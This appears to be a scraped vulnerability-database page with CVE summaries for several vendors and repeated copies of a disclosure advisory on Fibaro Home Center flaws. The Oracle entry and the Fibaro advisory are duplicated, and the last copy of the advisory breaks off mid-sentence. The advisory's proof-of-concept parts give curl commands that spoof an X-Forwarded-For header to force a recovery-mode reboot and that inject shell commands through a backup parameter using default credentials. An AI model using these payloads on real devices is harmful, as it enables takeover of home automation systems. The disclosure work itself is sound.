VARIoT IoT vulnerabilities database

CR16018-F core router is a router launched by New H3C Technology Co., Ltd. New H3C Technology Co., Ltd. CR16018-F core router has an information disclosure vulnerability. Attackers can use this vulnerability to obtain sensitive information.

A denial of service vulnerability was reported in Check Point Identity Agent before R81.018.0000, which could allow low privileged users to overwrite protected system files. Check Point Identity Agent is an application software of American Check Point Company. Used to capture and report identities to the Check Point Identity Aware Security Gateway

An unvalidated REST API in the AppFormix Agent of Juniper Networks AppFormix allows an unauthenticated remote attacker to execute commands as root on the host running the AppFormix Agent, when certain preconditions are performed by the attacker, thus granting the attacker full control over the environment. This issue affects: Juniper Networks AppFormix 3 versions prior to 3.1.22, 3.2.14, 3.3.0. Operators for software-defined data centers can use one toolset to view operational performance and infrastructure resources. Juniper Networks AppFormix Overview contains a security vulnerability that could allow an attacker to gain complete control of the environment

IBM WebSphere Application Server 7.0, 8.0, 8.5, and 9.0 is vulnerable to a XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 196649. This product is a platform for JavaEE and Web service applications, as well as the foundation of the IBM WebSphere software platform

The application in the mobile phone can read the SNO information of the device, Xiaomi 10 MIUI < 2020.01.15. Xiaomi 10 is a smartphone of the Chinese company Xiaomi. There is an information disclosure vulnerability in Xiaomi 10 MIUI 2020.01.15 and earlier versions. No detailed vulnerability details are currently provided

Vulnerability in the Oracle Cloud Infrastructure Storage Gateway product of Oracle Storage Gateway (component: Management Console). The supported version that is affected is Prior to 1.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Cloud Infrastructure Storage Gateway. While the vulnerability is in Oracle Cloud Infrastructure Storage Gateway, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Cloud Infrastructure Storage Gateway. Note: Updating the Oracle Cloud Infrastructure Storage Gateway to version 1.4 or later will address these vulnerabilities. Download the latest version of Oracle Cloud Infrastructure Storage Gateway from <a href=" https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html">here. Refer to Document <a href="https://support.oracle.com/rs?type=doc&id=2768897.1">2768897.1 for more details. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H). (DoS) An attack may occur

Vulnerability in the Oracle Cloud Infrastructure Storage Gateway product of Oracle Storage Gateway (component: Management Console). The supported version that is affected is Prior to 1.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Cloud Infrastructure Storage Gateway. While the vulnerability is in Oracle Cloud Infrastructure Storage Gateway, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Cloud Infrastructure Storage Gateway. Note: Updating the Oracle Cloud Infrastructure Storage Gateway to version 1.4 or later will address these vulnerabilities. Download the latest version of Oracle Cloud Infrastructure Storage Gateway from <a href=" https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html">here. Refer to Document <a href="https://support.oracle.com/rs?type=doc&id=2768897.1">2768897.1 for more details. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H). (DoS) An attack may occur

Vulnerability in the Oracle Cloud Infrastructure Storage Gateway product of Oracle Storage Gateway (component: Management Console). The supported version that is affected is Prior to 1.4. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Cloud Infrastructure Storage Gateway. While the vulnerability is in Oracle Cloud Infrastructure Storage Gateway, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Cloud Infrastructure Storage Gateway. Note: Updating the Oracle Cloud Infrastructure Storage Gateway to version 1.4 or later will address these vulnerabilities. Download the latest version of Oracle Cloud Infrastructure Storage Gateway from <a href=" https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html">here. Refer to Document <a href="https://support.oracle.com/rs?type=doc&id=2768897.1">2768897.1 for more details. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H). (DoS) An attack may occur

Vulnerability in the Oracle Cloud Infrastructure Storage Gateway product of Oracle Storage Gateway (component: Management Console). The supported version that is affected is Prior to 1.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Cloud Infrastructure Storage Gateway. While the vulnerability is in Oracle Cloud Infrastructure Storage Gateway, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Cloud Infrastructure Storage Gateway. Note: Updating the Oracle Cloud Infrastructure Storage Gateway to version 1.4 or later will address these vulnerabilities. Download the latest version of Oracle Cloud Infrastructure Storage Gateway from <a href=" https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html">here. Refer to Document <a href="https://support.oracle.com/rs?type=doc&id=2768897.1">2768897.1 for more details. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Dell EMC NetWorker versions 18.x,19.x prior to 19.3.0.4 and 19.4.0.0 contain an Information Disclosure in Log Files vulnerability. A local low-privileged user of the Networker server could potentially exploit this vulnerability to read plain-text credentials from server log files. Dell NetWorker is an application of Dell (Dell). Provides Dell's forum discussion function. A security vulnerability exists in Dell NetWorker that could allow an attacker to escalate his privileges by bypassing restrictions through a log file of plain text credentials

Dell PowerScale OneFS 8.1.0 - 9.1.0 contains a privilege escalation in SmartLock compliance mode that may allow compadmin to execute arbitrary commands as root. Dell Technologies Dell PowerScale OneFS is an operating system of Dell Technologies in the United States. Offers the PowerScale OneFS operating system for scale-out NAS

Dell PowerScale OneFS 8.1.0 - 9.1.0 contains an LDAP Provider inability to connect over TLSv1.2 vulnerability. It may make it easier to eavesdrop and decrypt such traffic for a malicious actor. Note: This does not affect clusters which are not relying on an LDAP server for the authentication provider. Dell Technologies Dell PowerScale OneFS is an operating system of Dell Technologies in the United States. Offers the PowerScale OneFS operating system for scale-out NAS

In Fibaro Home Center 2 and Lite devices with firmware version 4.540 and older an authenticated user can run commands as root user using a command injection vulnerability. IoT Inspector Research Lab Advisory IOT-20210408-0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ title: Multiple vulnerabilities vendor/product: Fibaro Home Center Light / Fibaro Home Center 2 https://www.fibaro.com/ vulnerable version: 4.600 and older fixed version: 4.610 CVE number: CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992 impact: 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 (critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H reported: 2020-11-18 publication: 2021-04-08 by: Marton Illes, IoT Inspector Research Lab https://www.iot-inspector.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vendor description: ------------------- "FIBARO is a global brand based on the Internet of Things technology. It provides solutions for building and home automation. FIBARO's headquarters and factory are located in Wysogotowo, 3 miles away from Poznan. The company employs app. 250 employees." https://www.fibaro.com/en/about-us/ Vulnerability overview/description: ----------------------------------- 1) Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989) Home Center devices initiate SSH connections to the Fibaro cloud to provide remote access and remote support capabilities. This connection can be intercepted using a man-in-the-middle attack and a device initiated remote port-forward channel can be used to connect to the web management interface. IoT Inspector identified a disabled SSH host key check, which enables man-in-the-middle attacks. By initiating connections to the Fibaro cloud an attacker can eavesdrop on communication between the user and the device. As communication inside the SSH port-forward is not encrypted (see #4 on management interface), user sessions, tokens and passwords can be hijacked. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode (CVE-2021-20990) An internal management service is accessible on port 8000 and some API endpoints could be accessed without authentication to trigger a shutdown, a reboot, or a reboot into recovery mode. In recovery mode, an attacker can upload firmware without authentication. Similar problems were also discovered by Pavel Cheremushkin from Kaspersky ICS Cert: https://securelist.com/fibaro-smart-home/91416/ 4) Unencrypted management interface (CVE-2021-20992) Home Center devices provide a web based management interface over unencrypted HTTP protocol. Communication between the user and the device can be eavesdropped to hijack sessions, tokens, and passwords. The management interface is only available over HTTP on the local network. The vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Proof of concept: ----------------- 1) Cloud SSH Connection Man-in-the-Middle Attack Home Center devices initiate a SSH connection to the Fibaro cloud ./etc/init.d/fibaro/RemoteAccess <snip> DAEMON=/usr/bin/ssh .... case "$1" in start) ..... # get IP local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Seria l}&HW_Key=${HW_Key}" local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') # get PORT local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_S erial}&HW_Key=${HW_Key}" local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') .... start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \ -- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}" </snip> The device uses dropbear ssh to initiate the connection; option -y disables any host-key checks, voiding much of the otherwise added transport-layer security by SSH: "Always accept hostkeys if they are unknown." The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.: lb-1.eu.ra.fibaro.com An attacker can use DNS spoofing or other means to intercept the connection. By using any hostkey, the attacker can successfully authenticate the SSH connection. Once the connection is authenticated, the client initiates a remote port-forward: -R "${PORT_Response}":localhost:80 This enables the attacker to access port 80 (management interface) of the device. A similar problem exists for remote support connections: ./opt/fibaro/scripts/remote-support.lua <snip> function handleResponse(response) responseJson = json.decode(response.data) print(json.encode(responseJson)) local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip os.execute(autoSSHCommand) end function getSupportData() remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey print(remoteUrl) http = net.HTTPClient({timeout = 5000}) http:request(remoteUrl, { options = { method = 'GET' }, success = function(response) handleResponse(response) end, error = function(error) print(error) end }) end getSupportData() </snip> Here, the remote support endpoint returns the following data: {"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY .ZZZ"} The same dropbear ssh client is used with option -y. In this case, port 22 (ssh) is made accessible through the port-forward. However, the device only allows public key authentication with a hard-coded SSH key. No further testing has been done on compromising the support SSH connection. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode The device is running a nginx server, which forwards some requests to a lighttpd server (8000) for further processing: <snip> proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location ~* \.php$ { proxy_pass http://127.0.0.1:8000; } location ~* \.php\?.* { proxy_pass http://127.0.0.1:8000; } </snip> The lighttpd server is not only accessible locally, but also via the local network. Authentication and authorization is implemented in PHP and there is a special check for connections originating from within the host. However, when checking the remote IP address, the header X-Forwarded-For is also considered: ./var/www/authorize.php <snip> function isLocalRequest() { $ipAddress = ""; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR']; else $ipAddress = $_SERVER['REMOTE_ADDR']; $whitelist = array( '127.0.0.1', '::1' ); if(in_array($ipAddress, $whitelist)) return true; return false; } </snip> As the lighttpd service available via the network, an attacked can inject the required header X-Forwarded-For as well. The check isLocalRequest is used to "secure" multiple endpoints: ./var/www/services/system/shutdown.php <snip> <?php require_once("../../authorize.php"); if (!isLocalRequest() && !isAuthorized()) { sendUnauthorized(); } else { exec("systemShutdown"); } ?> </snip> ./var/www/services/system/reboot.php <snip> function authorize() { return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER)); } function handlePOST($text) { if (!isLocalRequest() && !authorize()) { sendUnauthorized(); return; } $params = tryDecodeJson($text); if(!is_null($params) && isset($params->recovery) && $params->recovery === true) exec("rebootToRecovery"); else exec("systemReboot"); } $requestBody = file_get_contents('php://input'); $requestMethod = $_SERVER['REQUEST_METHOD']; if ($requestMethod == "POST") handlePOST($requestBody); else setStatusMethodNotAllowed(); </snip> An attacker can issue the the following HTTP request to reboot the device into recovery mode: curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php In recovery mode, firmware images can be updated without authentication. 3) Authenticated remote command execution (versions before 4.550) Backup & restore operations could be triggered though HTTP endpoints: ./var/www/services/system/backups.php <snip> function restoreBackup($params) { if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0) { setStatusTooManyRequests(); return; } $type = $params->type; $id = $params->id; $version = $params->version; if (is_null($id) || !is_numeric($id) || $id < 1 ) { setStatusBadRequest(); return; } $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3"); if ($type == "local" && $hcVersion == "HC2" || $type == "remote") { $version ? exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) : exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id); } else { setStatusBadRequest(); return; } setStatusAccepted(); } </snip> The parameter $version is not sanitized or escaped, which allows an attacker to inject shell commands into the exec() call: cat > /tmp/exploit <<- EOM {"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}} EOM curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php Version 4.550 and later have proper escaping: <snip> $version = escapeshellarg($params->version); </snip> 4) Unencrypted management interface NMMAP shows a few open ports on the box: PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8000/tcp open http-alt Both 80/tcp and 8000/tcp can be accessed over unencrypted HTTP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vulnerable / tested versions: ----------------------------- Vulnerabilities 1, 2, 4 were confirmed on 4.600, which was the latest version at the time of the discovery Vulnerabilities 1, 2, 3, 4 were confirmed on 4.540, 4.530 Solution: --------- Upgrade to the version 4.610 or latest version, which fixes vulnerabilities 1, 2 and 3. Vulnerability 4 is not fixed as the vendor assumes that the local network is trusted and the device only provides wired network access. Furthermore, the vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Advisory URL: ------------- https://www.iot-inspector.com/blog/advisory-fibaro-home-center/ Vendor contact timeline: ------------------------ 2020-11-18: Contacting Fibaro through support@fibaro.com, support-usa@fibaro.com, info@fibaro.com, recepcja@fibargroup.com 2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on LinkedIn 2020-11-24: Adivsory sent to Fibaro by email 2020-12-01: Fibaro confirmed the receipt of the advisory 2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes 2021-03-16: Fibaro beta release (4.601) with the fixes 2021-03-24: Fibaro applies for CVE numbers 2021-03-31: Fibaro GA release (4.610) with the fix 2021-04-08: IoT Inspector Research Lab publishes advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ The IoT Inspector Research Lab is an integrated part of IoT Inspector. IoT Inspector is a platform for automated security analysis and compliance checks of IoT firmware. Our mission is to secure the Internet of Things. In order to discover vulnerabilities and vulnerability patterns within IoT devices and to further enhance automated identification that allows for scalable detection within IoT Inspector, we conduct excessive security research in the area of IoT. Whenever the IoT Inspector Research Lab discovers vulnerabilities in IoT firmware, we aim to responsibly disclose relevant information to the vendor of the affected IoT device as well as the general public in a way that minimizes potential harm and encourages further security analyses of IoT systems. You can find our responsible disclosure policy here: https://www.iot-inspector.com/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Interested in using IoT Inspector for your research or product? Mail: research at iot-inspector dot com Web: https://www.iot-inspector.com Blog: https://www.iot-inspector.com/blog/ Twitter: https://twitter.com/iotinspector EOF Marton Illes / @2021

Fibaro Home Center 2 and Lite devices with firmware version 4.600 and older initiate SSH connections to the Fibaro cloud to provide remote access and remote support capabilities. This connection can be intercepted using DNS spoofing attack and a device initiated remote port-forward channel can be used to connect to the web management interface. Knowledge of authorization credentials to the management interface is required to perform any further actions. IoT Inspector Research Lab Advisory IOT-20210408-0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ title: Multiple vulnerabilities vendor/product: Fibaro Home Center Light / Fibaro Home Center 2 https://www.fibaro.com/ vulnerable version: 4.600 and older fixed version: 4.610 CVE number: CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992 impact: 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 (critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H reported: 2020-11-18 publication: 2021-04-08 by: Marton Illes, IoT Inspector Research Lab https://www.iot-inspector.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vendor description: ------------------- "FIBARO is a global brand based on the Internet of Things technology. It provides solutions for building and home automation. FIBARO's headquarters and factory are located in Wysogotowo, 3 miles away from Poznan. The company employs app. IoT Inspector identified a disabled SSH host key check, which enables man-in-the-middle attacks. By initiating connections to the Fibaro cloud an attacker can eavesdrop on communication between the user and the device. As communication inside the SSH port-forward is not encrypted (see #4 on management interface), user sessions, tokens and passwords can be hijacked. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode (CVE-2021-20990) An internal management service is accessible on port 8000 and some API endpoints could be accessed without authentication to trigger a shutdown, a reboot, or a reboot into recovery mode. In recovery mode, an attacker can upload firmware without authentication. (Potentially an earlier version with known remote command execution vulnerability, see #3) 3) Authenticated remote command execution (versions before 4.550) (CVE-2021-20991) An authenticated user can run commands as root user using a command injection vulnerability. Similar problems were also discovered by Pavel Cheremushkin from Kaspersky ICS Cert: https://securelist.com/fibaro-smart-home/91416/ 4) Unencrypted management interface (CVE-2021-20992) Home Center devices provide a web based management interface over unencrypted HTTP protocol. Communication between the user and the device can be eavesdropped to hijack sessions, tokens, and passwords. The management interface is only available over HTTP on the local network. The vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. case "$1" in start) ..... # get IP local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Seria l}&HW_Key=${HW_Key}" local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') # get PORT local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_S erial}&HW_Key=${HW_Key}" local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') .... start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \ -- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}" </snip> The device uses dropbear ssh to initiate the connection; option -y disables any host-key checks, voiding much of the otherwise added transport-layer security by SSH: "Always accept hostkeys if they are unknown." The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.: lb-1.eu.ra.fibaro.com An attacker can use DNS spoofing or other means to intercept the connection. By using any hostkey, the attacker can successfully authenticate the SSH connection. A similar problem exists for remote support connections: ./opt/fibaro/scripts/remote-support.lua <snip> function handleResponse(response) responseJson = json.decode(response.data) print(json.encode(responseJson)) local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip os.execute(autoSSHCommand) end function getSupportData() remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey print(remoteUrl) http = net.HTTPClient({timeout = 5000}) http:request(remoteUrl, { options = { method = 'GET' }, success = function(response) handleResponse(response) end, error = function(error) print(error) end }) end getSupportData() </snip> Here, the remote support endpoint returns the following data: {"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY .ZZZ"} The same dropbear ssh client is used with option -y. In this case, port 22 (ssh) is made accessible through the port-forward. However, the device only allows public key authentication with a hard-coded SSH key. No further testing has been done on compromising the support SSH connection. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode The device is running a nginx server, which forwards some requests to a lighttpd server (8000) for further processing: <snip> proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location ~* \.php$ { proxy_pass http://127.0.0.1:8000; } location ~* \.php\?.* { proxy_pass http://127.0.0.1:8000; } </snip> The lighttpd server is not only accessible locally, but also via the local network. Authentication and authorization is implemented in PHP and there is a special check for connections originating from within the host. However, when checking the remote IP address, the header X-Forwarded-For is also considered: ./var/www/authorize.php <snip> function isLocalRequest() { $ipAddress = ""; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR']; else $ipAddress = $_SERVER['REMOTE_ADDR']; $whitelist = array( '127.0.0.1', '::1' ); if(in_array($ipAddress, $whitelist)) return true; return false; } </snip> As the lighttpd service available via the network, an attacked can inject the required header X-Forwarded-For as well. The check isLocalRequest is used to "secure" multiple endpoints: ./var/www/services/system/shutdown.php <snip> <?php require_once("../../authorize.php"); if (!isLocalRequest() && !isAuthorized()) { sendUnauthorized(); } else { exec("systemShutdown"); } ?> </snip> ./var/www/services/system/reboot.php <snip> function authorize() { return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER)); } function handlePOST($text) { if (!isLocalRequest() && !authorize()) { sendUnauthorized(); return; } $params = tryDecodeJson($text); if(!is_null($params) && isset($params->recovery) && $params->recovery === true) exec("rebootToRecovery"); else exec("systemReboot"); } $requestBody = file_get_contents('php://input'); $requestMethod = $_SERVER['REQUEST_METHOD']; if ($requestMethod == "POST") handlePOST($requestBody); else setStatusMethodNotAllowed(); </snip> An attacker can issue the the following HTTP request to reboot the device into recovery mode: curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php In recovery mode, firmware images can be updated without authentication. 3) Authenticated remote command execution (versions before 4.550) Backup & restore operations could be triggered though HTTP endpoints: ./var/www/services/system/backups.php <snip> function restoreBackup($params) { if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0) { setStatusTooManyRequests(); return; } $type = $params->type; $id = $params->id; $version = $params->version; if (is_null($id) || !is_numeric($id) || $id < 1 ) { setStatusBadRequest(); return; } $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3"); if ($type == "local" && $hcVersion == "HC2" || $type == "remote") { $version ? exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) : exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id); } else { setStatusBadRequest(); return; } setStatusAccepted(); } </snip> The parameter $version is not sanitized or escaped, which allows an attacker to inject shell commands into the exec() call: cat > /tmp/exploit <<- EOM {"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}} EOM curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php Version 4.550 and later have proper escaping: <snip> $version = escapeshellarg($params->version); </snip> 4) Unencrypted management interface NMMAP shows a few open ports on the box: PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8000/tcp open http-alt Both 80/tcp and 8000/tcp can be accessed over unencrypted HTTP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vulnerable / tested versions: ----------------------------- Vulnerabilities 1, 2, 4 were confirmed on 4.600, which was the latest version at the time of the discovery Vulnerabilities 1, 2, 3, 4 were confirmed on 4.540, 4.530 Solution: --------- Upgrade to the version 4.610 or latest version, which fixes vulnerabilities 1, 2 and 3. Vulnerability 4 is not fixed as the vendor assumes that the local network is trusted and the device only provides wired network access. Furthermore, the vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Advisory URL: ------------- https://www.iot-inspector.com/blog/advisory-fibaro-home-center/ Vendor contact timeline: ------------------------ 2020-11-18: Contacting Fibaro through support@fibaro.com, support-usa@fibaro.com, info@fibaro.com, recepcja@fibargroup.com 2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on LinkedIn 2020-11-24: Adivsory sent to Fibaro by email 2020-12-01: Fibaro confirmed the receipt of the advisory 2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes 2021-03-16: Fibaro beta release (4.601) with the fixes 2021-03-24: Fibaro applies for CVE numbers 2021-03-31: Fibaro GA release (4.610) with the fix 2021-04-08: IoT Inspector Research Lab publishes advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ The IoT Inspector Research Lab is an integrated part of IoT Inspector. IoT Inspector is a platform for automated security analysis and compliance checks of IoT firmware. Our mission is to secure the Internet of Things. In order to discover vulnerabilities and vulnerability patterns within IoT devices and to further enhance automated identification that allows for scalable detection within IoT Inspector, we conduct excessive security research in the area of IoT. Whenever the IoT Inspector Research Lab discovers vulnerabilities in IoT firmware, we aim to responsibly disclose relevant information to the vendor of the affected IoT device as well as the general public in a way that minimizes potential harm and encourages further security analyses of IoT systems. You can find our responsible disclosure policy here: https://www.iot-inspector.com/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Interested in using IoT Inspector for your research or product? Mail: research at iot-inspector dot com Web: https://www.iot-inspector.com Blog: https://www.iot-inspector.com/blog/ Twitter: https://twitter.com/iotinspector EOF Marton Illes / @2021

In Fibaro Home Center 2 and Lite devices with firmware version 4.600 and older an internal management service is accessible on port 8000 and some API endpoints could be accessed without authentication to trigger a shutdown, a reboot or a reboot into recovery mode. IoT Inspector Research Lab Advisory IOT-20210408-0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ title: Multiple vulnerabilities vendor/product: Fibaro Home Center Light / Fibaro Home Center 2 https://www.fibaro.com/ vulnerable version: 4.600 and older fixed version: 4.610 CVE number: CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992 impact: 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 (critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H reported: 2020-11-18 publication: 2021-04-08 by: Marton Illes, IoT Inspector Research Lab https://www.iot-inspector.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vendor description: ------------------- "FIBARO is a global brand based on the Internet of Things technology. It provides solutions for building and home automation. FIBARO's headquarters and factory are located in Wysogotowo, 3 miles away from Poznan. The company employs app. 250 employees." https://www.fibaro.com/en/about-us/ Vulnerability overview/description: ----------------------------------- 1) Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989) Home Center devices initiate SSH connections to the Fibaro cloud to provide remote access and remote support capabilities. This connection can be intercepted using a 